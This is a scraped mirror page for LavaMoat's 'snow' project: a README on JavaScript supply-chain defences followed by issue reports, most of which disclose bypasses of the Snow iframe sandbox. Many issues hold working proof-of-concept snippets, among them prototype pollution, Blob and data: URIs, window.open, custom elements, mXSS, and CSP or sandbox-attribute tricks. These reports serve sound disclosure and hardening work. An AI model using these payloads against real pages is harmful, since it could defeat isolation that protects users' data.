Giter Club home page Giter Club logo

snow's Introduction

LavaMoat

LavaMoat

LavaMoat is a set of tools for securing JavaScript projects against a category of attacks called software supply chain attacks.

This genre of attack occurs when a malicious dependency makes its way into a developer's application. An attacker could use the dependency to then steal important secrets (like credit card numbers, private keys, or data) or make the application vulnerable to a range of other attacks.

These attacks have already hit e.g. the cryptocurrency ecosystem and present a significant risk for the developers and users of wallets and apps.

In order to help mitigate the risk of such an attack we are building a suite of tools that aim to tackle the supply chain security at various stages of software lifecycle i.e. at the installation of the package, at build time and most of all - at runtime.

The goal of LavaMoat is to bring added protections to modern JavaScript apps without having to rewrite them from scratch and automate a good first-start security configuration.

How to secure your app against supplychain attacks

  1. disable/allow dependency lifecycle scripts (eg. "postinstall") via @lavamoat/allow-scripts
  2. run your server or build process in lavamoat-node
  3. build your ui with LavaMoat for Browserify

Even starting with adding just step 1 - the allow-scripts is a great improvement to your supply chain security.

How LavaMoat works

Install scripts

Lavamoat's allow-scripts configures your project to disable running install scripts by default and gives you a configuration section in package.json where the allowed ones can be listed. It also installs a package with an install script that fails installation as early as possible if the configuration is accidentally removed.

No new install scripts showing up in your dependencies will run unexpectedly. That way you eliminate the most popular attack vector of malicious packages in recent years.

Runtime protections

You can use lavamoat to prevent malicious code introduced into a package from running.

The LavaMoat runtime reduces the supply chain risk by:

  1. Prevent modifying JavaScript's primordials (Object, String, Number, Array, ...)
  2. Limit access to the platform API (window, document, XHR, etc) per-package

Both are provided by SES containers. Platform API access is granted by a policy file that LavaMoat can generate and allow the project to selectively customize. All details of policy file structure are documented in the Policy file explained doc.

SecureEcmaScript (SES)

SES is the sandbox used in LavaMoat. See SES's secure computing guide to learn more about the risks of untrusted javascript.

LavaMoat runtime protection in Node.js

Run your server or app building code with protections via LavaMoat Node

LavaMoat runtime protection in the browser

When using LavaMoat in the browser, you can just use your favorite bundler if there is an available plugin.

App bundles have two major components:

  1. Runtime (aka kernel / loader / prelude / trusted computing base) This is the code that initializes and runs the bundle. For example, the implementation of the require function.

  2. Module sources This includes the js content of the module sources, and sometimes some config information like module name aliases.

LavaMoat modifies the bundle's runtime to enforce the configured constraints.

lavamoat-viz

[!WARNING] lavamoat-viz is currently unmaintained; we have tentative plans to resume development in the future.

lavamoat-viz is a tool to visualize an application's dependency graph and assess its security risk.

Scuttling security feature

LavaMoat offers further (yet advanced) security enhancement to LavaMoat protection which is known as scuttling - an optional feature which is turned off by default and can enhance the security LavaMoat will apply to your application. Before using it, make sure to get yourself familiar with it and with the implications of using it by reading its doc file.

Further reading on software supplychain security

Articles

Videos

Supporters

Made with love by MetaMask

Funded by ConsenSys

Runs on Agoric

snow's People

Contributors

mmndaniel avatar weizman avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

snow's Issues

Bypass with Function.prototype.call pollution

var _call = Function.prototype.call;
Function.prototype.call = function() {
    var args = Array.from(arguments);
    if (args[2].toString().includes('hook')) {
        _addEventListener = this; // steal ref
        return;
    }
    return _call.apply(this, args);
};
var f = document.createElement('iframe');
document.body.appendChild(f);
var f2 = document.createElement('iframe');
_addEventListener.apply(f2, ['load', function() {
    this.contentWindow.alert(1);
}]);
document.body.appendChild(f2);

Bug in JSON parsing on TikTok caused by Snow

Changes introduced in #48 for handling html better introduced a bug that occurred on tiktok.com where innerHTML got a JSON to work with, and handled it even though it shouldn't have, causing the JSON to encounter new quotes within it causing it to no longer be a valid JSON

Demo has insecure implementation

Using the code <script src="./snow.js"></script> and later having <i style="font-size: 24px">~ Can you pop an <a href="javascript:alert(123)">alert</a> in this page?</i> is not safe because the script load may fail.

  • Client is being DoSed by external attacker or a different websites JavaScript.
  • Sever is being DoSed or is being malicious when the client uses Subresource Integrity.

More information can be found at https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/#skipping-dependences
I think the solution would be to use an event or variable to know when the sandbox is enforced.

Bypass using trusted types default policy

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML = `
  <iframe srcdoc="
    <meta http-equiv='Content-Security-Policy' content=&quot;require-trusted-types-for 'script';&quot;>. 
    <script>
      trustedTypes.createPolicy('default', { createHTML: s=>s, createScript: function (s) { return ''; } });
      setTimeout(()=>frames[0].alert(1),100);
    </script>
  <iframe src=\'javascript:alert(1)\'</iframe>"></iframe>
`

The idea was taking advantage of trusted types default policy to break the "atomicity" of the hooks (i.e., the malicious policy will get called after the hooks, but before the actual HTML/script assignment). There are several different directions, here I just use the createScript to break the internal SNOW_WINDOW(this) in the javascript: URI :)

Old Snow tests show Snow vulnerability on Firefox

Lines 50 and 74 are old tests that do crazy stuff to bypass Snow using embed and object.

Now with #53, These tests show that on Firefox Snow fails to protect realms when those techniques are being used.
This is an active vulnerability in Snow-Firefox that needs to be addressed

Bypasses via Blob URIs

f = document.createElement('iframe');
document.body.appendChild(f);
f.src = URL.createObjectURL(new Blob(["<script>alert.call(top, top.origin)</script>"], {type: "text/html"}));
window.location = URL.createObjectURL(new Blob(["<script>alert(window.origin)</script>"], {type: "text/html"}));

Open API allows bypassing Snow

window.open creates a security flaw for Snow that is very hard to patch.

REPRODUCE

  1. load Snow in a webpage that is not "https://x.com"
  2. run SNOW(w=>alert=111)
  3. run POC below

EXPECTED

alert should fail since now it is 111

ACTUAL

alert works, Snow is bypassed

zzz=open("https://x.com");
setTimeout(() => {
    zzz.location.href="about:blank";
    setTimeout(() => {
        zzz.alert.call(window, 222);
    }, 1000);
}, 1000);

PROBLEM

what happens is that an attacker has the ability to create a new window by using open API, that is not subject to Snow's
load event listener since it has no frame element.
at first stage, an attacker can set the new window on init to a cross domain origin and by that make Snow skip this window for being cross origin.
at second stage, the attacker can redirect that window by reference to the same domain as the current page in order to have access to its properties and obtain native functionality.
at this point Snow has no way of telling that this location switch took place since there is no way by definition to get information regarding a redirect of a window.

SOLUTION

The following is the best idea I have at the moment, I wish someone would come up with a better idea!

SNOW API should allow 3 modes:

  1. disable open API in the webpage completely
  2. init a non-stopping setInterval the first time open API is used within the page, that goes over every window that was opened by open API and tries to apply Snow on it for the moment it might become same origin.
  3. do nothing (freely enable open API)

user of Snow may use their preferred mode.

Blob override is not good enough and clashes with whatwg-fetch npm package

  • @Vadman97 commented highlight/highlight#3934 (comment) where he shows multiple issues with Snow integration.
  • I was able to reproduce specifically the exception with the [object Blob] thing on LinkedIn (which I believe is the same issue).
    • This happens because LinkedIn uses whatwg-fetch which tries to tell what is the type of a message body parameter.
    • To determine whether it is a Blob, it runs support.blob && Blob.prototype.isPrototypeOf(body) where true indicates it is a Blob.
    • Since our wrap makes Blob inherit from Function instead of Blob, this fails and we end up on a different conclusion which results in a shitstorm basically.
  • Moreover, Current implementation is not secure enough.
    • One can get a hold on a Blob instance that is not created via new Blob() and thus bypassing Snow.
    • For example, XHR when configured right responds with a native Blob object which obviously isn't affected by our monkey patching.
  • These issues require attention, especially making sure web apps don't break when running on Snow

Snow can be bypassed with setting Symbol.toStringTag

The check in

snow/snow.js

Line 208 in 534041e

if (!isFrameElement(frame)) {
is not correct namely:

/*
attempts to bypass Snow after running:

SNOW((win) => {
    win.alert = (msg) => {
        console.log('Snow: ', 'alert API is disabled, message is printed to console instead: ', msg);
    }
});
*/
{ 
var fr = document.createElement('iframe');
Object.defineProperty(fr, Symbol.toStringTag, { value: 'bypassResetOnload' });
fr.onload = () => fr.contentWindow.alert('bypass');
document.body.appendChild(fr);
}

Instead, a non forgeable brand check should be used.

Additionally the order of onload does not get reset when onload is set to null . nvm, will need to develop this to illustrate it better.

Bypass with Range.insertNode

Nothing too clever, just yet another node insertion method that isn't hooked :)

var range = document.createRange();
var f = document.createElement("iframe");
range.selectNode(document.getElementsByTagName("head")[0]);
range.insertNode(f);
f.contentWindow.alert.call(top, 1);

Snow can be bypassed with custom elements and shadow DOM

/*
attempts to bypass Snow after running:

SNOW((win) => {
    win.alert = (msg) => {
        console.log('Snow: ', 'alert API is disabled, message is printed to console instead: ', msg);
    }
});
*/
{
let resolve;
const ready = new Promise((r) => resolve = r);
 
class NotFrame extends HTMLElement {
  constructor() {
    super()
    this.attachShadow( { mode: 'open' } )
        .innerHTML = "<iframe></iframe>"
  }
  connectedCallback() {
    window.hax = this.shadowRoot.querySelector( 'iframe' ).contentWindow.alert;
    resolve();
  }
}
customElements.define('legit-element', NotFrame)
document.body.appendChild(document.createElement('legit-element'));

ready.then(() => {
  window.hax('hey, if you type in your pw, it will show as stars');
});

}

Snow breaks the spec regarding {add/remove}EventListener

There are specific rules to follow when adding/removing event listeners, some of them are:

  1. a listener removed must be the same one that was added
  2. a listener added won't apply again if was added before (unless options are different)

Snow breaks that because it adds a wrapped version of the provided listener but doesn't track it for when (1) or (2) happen.

Bypass using nested iframe

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML = `
<iframe srcdoc="<iframe></iframe><script>frames[0].alert(1)</script>">
</iframe>`;

No src, srcdoc, attributes, listeners, etc... so it's just left unhooked.

Clash when snow protected page opens itself

<!-- https://wow.com/x.html -->
<script> SNOW(() => {}); </script>
<script> open('https://wow.com/x.html'); </script>
  • load https://wow.com/x.html.
  • page runs Snow protection.
  • page opens new window to https://wow.com/x.html and marks it.
  • opened page tries to run snow protection and to mark it, but fails because opener has marked it already.
  • infinite loop.

This is tricky, how do i make the opened understand that it is Snow protected without an attacker being able to leverage that?

more javascript uri bypasses with target attr

f = document.createElement('div');
f.innerHTML = `
<a id="pwn" target="lolpwnd" href="javascript:alert(document.domain)">
`;
document.body.appendChild(f);

document.querySelector("#pwn").click();
f = document.createElement('div');
f.innerHTML = `
<form id="pwn" method="GET" target="lolpwnd" action="javascript:alert(document.domain)">
`;
document.body.appendChild(f);

document.querySelector("#pwn").submit();

Bypass using mXSS

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML =  `<iframe
	srcdoc="<form><math><mtext></form><form><mglyph><style></math><iframe src=&quot;javascript:alert(1)&quot;></iframe>"
</iframe>`;

Shamelessly stolen from here, I knew something like that would work when I saw this code path (parse, serialize, parse) :)

Snow can be bypassed with custom elements connectedCallback (no shadow dom)

Reproduce by running:

{
window.n = window.n ?? 0;
window.n++;
 
class NotFrame extends HTMLIFrameElement {
  constructor() {
    super()
  }
  connectedCallback() {
    this.contentWindow.alert('I will not buy this tobacconist, it is scratched');
  }
}
customElements.define(`legit-element${n}`, NotFrame, { extends: 'iframe' })
document.body.appendChild(document.createElement('iframe', { is: `legit-element${n}` }));
console.log(document.body.lastElementChild.is)

}

Open window, than open iframe seems to bypass Snow

It seems like:

  • Open new window
  • From new window, open iframe
  • Using iframe window, try bypassing Snow

Bypasses Snow..

This should be tested, and also trace back where this bug was introduced first (unless was always the case which seems unlikely to me)

Snow can be bypassed with frameSet

It seems that I'm inspired :) Here's another one using a frameset. Top access directly.

iFrame = document.createElement('iframe');
iFrame.srcdoc = '<frameset><frame src="javascript:alert.call(top, 1 )"></frameset>';
document.body.appendChild(iFrame);

Happy patching!

Bypass using by making contentWindow to throw an exception

var f = document.createElement('iframe');
Object.defineProperty(f, 'contentWindow', {
    get: function() {
        throw new Error('pwnd');
    }
});
try {
    document.body.appendChild(f);
} catch (e) {}
frames[0].alert(1);

This is what I mean here, but actually exploits the chromium bug workaround this time :)

Figure out how or whether should Snow deal with wrapping of html string iframe onload attributes

Theoretically Snow can be bypassed by running:

top.msg = 'this window is not protected by snow!';
document.head.innerHTML = '<iframe onload="this.contentWindow.alert.call(top, top.msg)"></iframe>';

In order to deal with this issue, Snow removes onload attributes from iframes that are constructed via strings.

It does so because this doesn't seem to be a technique that is used under legitimate scenarios, but can be leveraged by attackers to bypass Snow.

Support "unsafes" - unsafely configure Snow to allow non-secure operations

UPDATE: see #110 (comment)

As of today, it is a conscious decision to disable some native behaviour in the browser when it is (1) posing a security concern to Snow and (2) is a behaviour that is unused legitimately in the wild.

This is something we'll continue to do, but it's also contradicting our will to make Snow a perfect shim, meaning it shouldn't harm web apps normal behaviour whatsoever.

Therefore, it is time to allow some level of configuration for Snow.

At the very least, a way to tell Snow to either "block activities that might pose danger to Snow" or "keep Snow protection, but not at the cost of disabling browser native behaviour", so that security focused vendors could take the risk, while observability focused vendors could opt out of that risk and stick to most realm creation cases instead of all (e.g. what happened at highlight/highlight#3934)

Bypass using trusted HTML type confusion

var d = document.createElement('div')
d.innerHTML = '<iframe id="f"></iframe>';
var f = d.firstChild;
d.toJSON = ()=>'asd';
f.toJSON = ()=>'asd';
document.documentElement.toJSON = ()=>'asd';
document.body.appendChild(d);
f.contentWindow.alert(1);

Essentially exploiting two things:
a. JSON.stringify bevavior can be overridden with toJSON method (see MDN)
b. This line excludes trusted HTMLs (perhaps because it assumes it was already handled by handleHTML?) by evaluating: typeof parse(stringify(node, replacer)) === 'string', which can be made to return true by utilizing a.

Snow can be bypassed with ...data: URI

Hey Gal! Nice to "meet you". I was reading your DevTools detection mechanism yesterday and I ended up landing into this LavaMoat. The challenge looked interesting (you know, when it bites you, you can't stop!) so I give it a few tries, and luckily, it worked!

Here's the code. I believe the best strategy to patch this would be to check whenever a non-accessible domain has iFrames inside, and if that's the case you can continue iterating and testing until you make sure none has access.

Have a great day!

iFrame = document.createElement('iframe');
iFrame.src="data:text/html,A<iframe src=https://lavamoat.github.io/snow/></iframe>";
document.body.appendChild(iFrame);
// At this point, your fantastic script can't access the first iFrame because of the data: URI, however you should have access to the internal one as soon as it renders.

// Let's give a bit  of time for the internal iFrame to render before accessing its window object
setTimeout(() => {
    iFrame.contentWindow[0].alert.call( top, 'did it work?!' );
}, 500);

Is Snow useless without CSP?

I'm lately coming to the realization that Snow cannot protect same origin realms completely and will need some help from CSP.
I'd like to start an initiative around encouraging users to remember to use Snow while implementing some baseline of CSP. This creates a few tasks:

  1. Research and understand what are the things and what is the spectrum Snow won't be able to defend against
  2. Come up with a CSP that is as permissive as possible while as helping to Snow with protection as possible
  3. Make it clear in documentation that this level of CSP is needed, explain it and break down the different directives
  4. Create a hardened version of the demo that applies the CSP, so that we'll be able to differentiate Snow vulns that bypass both Snow and CSP or just Snow

This is important for the future of Snow because it's probably close to useless without CSP since there are some techniques Snow cannot defend against (unfortunately).

Bypass using CSP

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML = `
<iframe
	srcdoc="
	<meta http-equiv='Content-Security-Policy' content=&quot;script-src 'nonce-pwnd' ;&quot;>
		<iframe src=&quot;javascript:haha&quot;>
		</iframe>
	<script nonce=&quot;pwnd&quot;>frames[0].alert(1);</script>">
</iframe>`

Similar to #90 and #92, using CSP to prevent SNOW_WINDOW from running :)

Snow can be bypassed with a data url iframe performing the alert

/*
attempts to bypass Snow after running:

SNOW((win) => {
    win.alert = (msg) => {
        console.log('Snow: ', 'alert API is disabled, message is printed to console instead: ', msg);
    }
});
*/
{ 

const fr = document.createElement('iframe');
fr.src = "data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGknKTwvc2NyaXB0Pg=="
document.body.appendChild(fr);

        
}

Snow can be bypassed with overriding the "arguments" object prototype

Reproduce by running

/*
attempts to bypass Snow after running:

SNOW((win) => {
    win.alert = (msg) => {
        console.log('Snow: ', 'alert API is disabled, message is printed to console instead: ', msg);
    }
});
*/
{ 

(function() {
  Object.defineProperty(arguments.__proto__, '0', {
    get() {
      const whereAmI = (new Error).stack;
      if (whereAmI.includes('hook')) {
        this.length = 0; // empty frames array
        return undefined;
      }
      return this.payload;  
    },
    set(value) {
      // debugger;
      this.length = 1;
      this.payload = value;
    }
  });
})();

const fr = document.createElement('iframe');
document.body.appendChild(fr);
fr.contentWindow.alert.call(null, 'pwn');

}

Current window marking technique may cause an infinite loop

context can be found here #24

Current window marking technique seems to work correctly and should be "untamperable".

However, if an attacker manages to mess with the marking process of a window, including making the process throw an exception, they can leverage such a scenario to create a window that doesn't go through snow protection which is effectively a full bypass of snow.

Therefore, it seems that in such rare case the only way to protect against a snow bypass is by going into an intentional infinite loop, while hoping that the marking process is really something attackers can mess with really.

if such infinite loop occurs for a reason we didn't expect, current marking technique should be revisited.

Snow fails to support compatibility with Shadow DOM

the following:

a=document.createElement('div');
i=document.createElement('iframe');
s=a.attachShadow({mode:'open'});
s.appendChild(i);
document.head.append(a);

throws an uncaught error under Snow instead of working properly

Question about securely vs endo

hey! @weizman this is an awesome project you've created here. These types of efforts are going to have a massive impact on securing JavaScript code regardless of the environment in which it's running. 🙂

I read through the snow wiki last night and it's a really interesting problem you're setting out to solve here. I have one question regarding Snow's use of securely.

After you explained the role securely plays in the Snow standard, you mention the following:

However, we highly recommend to learn about SES effort which is a standard in the making on how to effectively deal with this issue.

I'm wondering how securely's approach to freezing native APIs differs from the approach Endo takes with lockdown and harden. It seems like something is currently blocking securely from using any of the Endo APIs at this point. But there may be a plan to integrate Endo APIs at a later time.

Are these accurate assumptions? And if so, can you add context into what that blocker may be?

Thanks again for your work here!

Firefox does not respect addEventListener calls made with EventTarget of a detached realm

We extract all of the natives we need to operate Snow from within an iframe that is immediately detached from DOM to prevent attackers from accessing the natives' realm and abusing it.

Apparently in Firefox, if a call to addEventListener is made and that addEventListener originated in a detached realm, Firefox ignores it (even if the function is called on an object of another realm that is correctly attached and live).

Possible solution:

  1. Instead of detaching the assisting iframe, hide it in a ShadowDOM.
  2. make a unique non-changeable copy of specifically addEventListener from the top main realm instead of the detached iframe.

Bypass using iframe sandbox

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML =  `<iframe
	srcdoc="<iframe sandbox='allow-same-origin' src='javascript:alert(1)'></iframe><script>frames[0].alert.call(top, 1);</script>"
</iframe>`;

Same idea as #90, just using sandbox to break the internal SNOW_WINDOW call :)

Custom elements are still vulnerable

Snow protection for custom elements that can be extensions for "framable" elements (iframe/frame/object/embed) is not as good as I thought, There are other tricks that can be used there to bypass Snow in a way that is hard to deal with.

Before discovering this, lifecycle callbacks such as the connectedCallback were 2nd in line to Snow, but when applying src to the elements or using other lifecycle callbacks, these callbacks become 1st in line which makes things highly complicated.

Also, when trying to support Firefox #53 both tests from before and after this discovery are vulnerable.

Bypass Snow via declarative shadow DOM

You can create a shadowDOM via <template> tag shadowroot attribute in chrome, this is called the declarative shadow DOM: https://web.dev/declarative-shadow-dom/

Declarative Shadow DOM is processed and attached when the document is loaded, so we use it in an iframe srcdoc.

f = document.createElement('iframe');
// works for both open and closed shadowroot
f.srcdoc = `
<my-element>
<template id="x" shadowroot="closed">
<b>In Template & ShadowDOM</b>
<iframe src="javascript:alert(document.domain)"></iframe>
</template>
</my-element>
`;
document.body.appendChild(f);

Snow can be bypassed with postMessage from iframe by accessing event.source and event.currentTarget

Reproduce by running

const handler = (event) => {
  event.currentTarget.alert(1)
  event.source.alert(1);
  window.removeEventListener('message', handler);
};

window.addEventListener('message', handler);

const iframe = document.createElement('iframe');

document.body.append(iframe);

const script = iframe.contentDocument.createElement('script');
script.textContent = `
  window.parent.postMessage(0, '*');
`;

iframe.contentDocument.body.append(script);

In https://lavamoat.github.io/snow/demo/

Snow can be bypassed with iframe.srcdoc prop

{
                const ifr = document.createElement('iframe');
                top.bypass = (w)=>w[0].alert();
                ifr.srcdoc = `
                             <iframe onload="top.bypass([this.contentWindow]);"></iframe>
                             <script>setTimeout(() => top.bypass([window]), 1000)</script>
                `;
                document.head.appendChild(ifr);
}

Bypass with multiple doc.write calls

var f = document.createElement('iframe');
document.body.appendChild(f);
f.contentDocument.write('<iframe id="tst');
f.contentDocument.write('"></iframe><script>tst.contentWindow.alert(1);</script>');

What happens is that document.write calls are buffered, but handleHTML sees only one chunk at a time so it won't find anything inside the template.

Firefox tests fail to run document.write calls

In order to introduce Firefox support in #53 I had to not execute tests on Firefox that include document.write calls because Firefox rejects those as Security Errors only when running as automated browser for a reason I don't understand.

Solving this at some point will be great.

Hooks for "addEventListener" and "removeEventListener" are wrongly depending on "this"

If you look at listeners.js#L30 and listeners.js#L41 you'd see that in both addEventListener and removeEventListener listeners patches the call for the native functions rely on this being the this value of the call.

So if you call {window/document/document.body}.{addEventListener/removeEventListener}('some_event', () => {}) it'll work, but if you do {addEventListener/removeEventListener}('some_event', () => {}) the this will resolve to undefined even though it should be window.

This needs to be fixed.

Bypass with Object.prototype pollution

Object.defineProperty(Object.prototype, 'haha', {
    enumerable: true,
    value: undefined
});

var f = document.createElement('iframe');
try {
    document.head.appendChild(f);
} catch (e) {}
f.contentWindow.alert(1);

Should use the Object from natives and Object.create(null)...

Snow can be bypassed with a TrustedHTML node

reproduce by running

{
const escapeHTMLPolicy = trustedTypes.createPolicy("myEscapePolicy", {
  createHTML: (string) => string.replace('', '')
});

const escaped = escapeHTMLPolicy.createHTML("<iframe onload='this.contentWindow.alert(1)'></iframe>");
document.head.innerHTML=escaped;
}

this can be done because Snow excepts specifically TrustedHTML nodes due to poor judgment of "9 months ago gal"

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.